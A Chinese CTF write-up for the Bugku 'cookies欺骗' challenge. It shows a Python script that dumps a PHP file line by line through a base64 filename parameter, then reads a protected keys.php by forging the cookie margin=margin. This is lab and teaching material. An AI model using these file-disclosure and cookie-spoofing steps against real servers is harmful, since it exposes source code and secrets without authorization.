bugku cookies欺骗

打开题目可以看到一堆乱码毫无规律
在这里插入图片描述
之后发现网址中有一串base64编码a2V5cy50eHQ=
解码得到:keys.txt
在这里插入图片描述

再尝试用 filename访问index.php(原url使用base64,这也将index.php进行编码)
在这里插入图片描述

line应该是行数那么就从0开始试发现每增加一个数字都有所不同

这样一个一个试太麻烦,直接用脚本将源码跑出来

import requests
a = 30
for i in range(a):
    url = "http://114.67.246.176:16736/index.php?line=" + str(i) + "&filename=aW5kZXgucGhw"
    s = requests.get(url)
    print(s.text)

在这里插入图片描述
得到以下代码

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}


if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

发现只用构造cookie:margin=margin就可以了

在这里插入图片描述

值得注意的是
在这里插入图片描述

这里需要改成keys.php的base64编码

这样flag就到手了

又是收获知识的一天

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值